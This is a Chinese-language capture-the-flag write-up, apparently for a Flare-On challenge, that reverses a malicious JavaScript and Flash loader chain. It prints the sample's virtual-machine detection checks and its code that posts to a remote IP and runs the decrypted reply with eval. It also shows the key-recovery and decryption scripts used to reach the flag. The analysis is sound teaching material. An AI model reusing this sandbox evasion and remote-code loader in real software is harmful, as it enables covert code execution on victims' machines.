if(checkfile('c:\Windows\System32\drivers\VBoxSF.sys') == 1) return 2; if(checkfile('c:\Windows\System32\drivers\vm3dmp.sys') == 1) return 1; if(checkfile('c:\Windows\System32\drivers\VBoxGuest.sys') == 1) return 2; return 0; } ``` 另一部分則是透過 `XMLHttpRequest` Post 資料到 remote,並使用回傳的 key 解出另一段 `javascript` 執行 ```javascript function keyPair() { var BigInt = Il1Illl1I1l.BigInteger; this.g = new BigInt(randhex(), 16); this.a = new BigInt(randhex(), 16); this.p = new BigInt(randhex2(), 16); this.A = this.g.modPow(this.a, this.p); } js3 = function() { var kp = new keyPair(); var x = new HTTPHeader(), v = new EnvChecker(), u = EnvChecker2(); try { var d = { g: kp.g.toString(16), A: kp.A.toString(16), p: kp.p.toString(16), }; var e = new XMLHttpRequest; e.open('POST', 'http://10.14.56.20:18089/i_knew_you_were_trouble', true); e.setRequestHeader(x.Yw,x.dc); // Content-type: application/json; charset=utf-8 e.setRequestHeader(x.KJ,d.length); // Content-length e.onreadystatechange = function() { if (e.readyState === 4 && e.status === 200 ) { var d = JSON.parse(RC4('how_can_you_not_like_flareon', b64decode(unescape(e.responseText)))); var BigInt = Il1Illl1I1l.BigInteger; var B = new BigInt(d.B, 16); var key = B.modPow(kp.a, kp.p); var j = RC4(key.toString(16), d.fffff); log(j) if (u < 1) { ; eval(j); } } }; if (!v.Mi && !v.pA && !v.is_phantom){ e.send(d); } } catch(f) {}; } js3(); ``` ### Key Exchange 配合 `pcap` 中的 request 及 response 資料分析, 可以發現是在做 `128bit` 的 Diffie-Hellman Key Exchange 與 remote server 交換 key - Client: `A = g ** a % p` - Server: `B = g ** b % p` - 而 Key = `B ** a % p` `A, B, g, p` 可以從封包取得: ``` A: 0x16f2c65920ebeae43aabb5c9af923953 B: 0x3101c01f6b522602ae415d5df764587b g: 0x91a812d65f3fea132099f2825312edbb p: 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e ``` 能反推出 a 或 b 就可以算出 key 這個地方讓身為 Crypto 麻瓜的我卡了非常久... 一開始是猜 `b` 的值或許很小,不過嘗試跑了 `0~0xFFFFFFFF 都沒有結果` 後來嘗試 `Polling-Hellman`,但 p 的分解結果看起來不是太理想,嘗試用 `python` 實作 `Polling-Hellman` 跑了好一陣子都沒結果 最後是 `Lucas` 拿了一台強大的機器用 `Sage` 的 `discrete_log` 硬跑出 `a = 46363574342518235210803009231514833` 照 `Sage` [官方文件](http://doc.sagemath.org/html/en/reference/groups/sage/groups/generic.html) 來看內部用的演算法是 `Pohlig-Hellman and Baby step giant step` 算出 RC4 Key,解出下一層 javascript: ```javascript var B = new BigInt('3101c01f6b522602ae415d5df764587b', 16); var a = new BigInt('8ede69460cac52c9b467d795fecd1', 16); var p = new BigInt('3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e', 16); var key = B.modPow(a, p); var code = RC4(key.toString(16), d.fffff); console.log(code) ``` 終於得到 SWF 要求的 Key: `HEAPISMYHOME` ![](https://i.imgur.com/lNbwqMx.png) ![](https://i.imgur.com/C2CnrAd.png) ### SWF 有了 RC4 Key 就可以從 SWF 中 Decrypt 出另一個 SWF, 解密方式是 `RC4(PLAIN=明文 16 位後, KEY=key+明文前 16 位)`: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import hashlib md5 = lambda x:hashlib.md5(x).hexdigest() def KSA(key): S = range(256) j = 0 for i in xrange(256): j = (j+ S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): i , j = (0, 0) while True: i= (i+ 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(plain, key): S = KSA(key) keystream = PRGA(S) plain = bytearray(plain) cipher = bytearray((p ^ k for p, k in zip(plain, keystream))) return str(cipher) plain = open("./15_SwfLoader.Run_challenge1.bin").read() c = RC4(plain[16:], md5("HEAPISMYHOME"+plain[:16])) open("dump.swf", 'wb').write(c) ``` ### SecureSWF 打開 SWF 一看發現被 `SecureSWF` 混淆過: ![](https://i.imgur.com/SEZlDMw.png) 這裡不得不提一下 [JPEXS Flash Decompiler](https://www.free-decompiler.com/flash/download/) 的 `Deobfuscation` 功能非常強大,能將屎一般的混淆代碼還原到人類可以閱讀的程度: `Before` ![](https://i.imgur.com/vgTLW5n.png) `After` ![](https://i.imgur.com/GKFre6F.png) 接著開始分析 `bytecode` > 有個小技巧是可以用 JPEXS 在代碼中插入 `console.log` ,並在瀏覽器中執行來幫助 debug: ```clike public function log(param1:String) : * { ExternalInterface.call("console.log", param1); } ``` 分析後發現: - 會從 `this.root.loaderInfo.parameters` 讀取 `loader` 參數中的 `flare`, `x`, `y` - `flare` 必須等於 `On` - 接下來會將 `SWF` 內的 50 組 `Binary Data` 串接起來,並將 `x` 當做 RC4 Key 做解密 - `y` 的格式會是類似 `key-value` 的形式,解密出來的資料會透過 `y` 來轉換成一個 `SWF` 檔案 - 最後生成的 `SWF` 會被放到一個儲存 `2048` 個空白 `SWF` 的陣列中,應該是為了防止被直接從 memory 中 dump 出 `SWF`,可以直接 patch 掉 `bytecode` 由於無法得知載入時的 `x` 及 `y`,只能再繼續尋找其他線索 ### Known Plain-Text Attack 仔細觀察 `SWF` 內的 `Binary Data`,會發現其中有一個檔案的名稱相當微妙: ![](https://i.imgur.com/81zYQhu.png) 來到 https://imgur.com/vnUziJP 得到一張圖片,但看不出有什麼提示: ![](https://i.imgur.com/vnUziJP.png) 繼續觀察 `Binary Data` 的話會發現 `Int3lIns1de_t3stImgurvnUziJP` 這組資料的大小與圖片大小相同,猜測是圖片經過 xor 後的結果 將圖片抓下來與 `Int3lIns1de_t3stImgurvnUziJP` 進行 xor,再與另一組程式中沒有用到的 `Binary Data` 做 xor,就可以得到 `x` 與 `y`: ![](https://i.imgur.com/eL8aOYP.png) 透過 html 指定 load parameter 並載入 `SWF`: ```htmlmixed <object type="application/x-shockwave-flash" data="dump.swf"> <param name="movie" value="dump.swf" /> <param name=FlashVars value="flare=On&x=1BR0K3NCRYPT0FTW&y= 47:14546,46:1617,35:239,4:47,35..." /> </object> ``` 透過 `console.log` dump 出 `SWF`: ### Final Stage 最後的 `SWF` 不曉得為什麼用 `JPEXS` 無法 decompile, 改用 `AS3 Sorcerer` ,看起來異常單純: ![](https://i.imgur.com/fF3SpC8.png) 複製到 vim 簡單的轉換成 python 格式: ```python out = "" _local_1 = 1 if not _local_1: out+=chr(120) if not _local_1: out+=chr(30) if not _local_1: out+=chr(115) if not _local_1: out+=chr(52) _local_1 = 0 if _local_1: out+=chr(47) if _local_1: out+=chr(37) if _local_1: out+=chr(76) if _local_1: out+=chr(53) _local_1 = 1 if not _local_1: out+=chr(93) if not _local_1: out+=chr(96) _local_1 = 0 if _local_1: out+=chr(34) if _local_1: out+=chr(67) _local_1 = 1 if not _local_1: out+=chr(92) _local_1 = 0 if _local_1: out+=chr(119) if _local_1: out+=chr(97) if _local_1: out+=chr(90) if _local_1: out+=chr(45) _local_1 = 1 if not _local_1: out+=chr(55) if not _local_1: out+=chr(51) ... if not _local_1: out+=chr(35) _local_1 = 1 if not _local_1: out+=chr(37) print out ``` 得到最後一組 Flag: `angl3rcan7ev3nprim3@flare-on.com` ---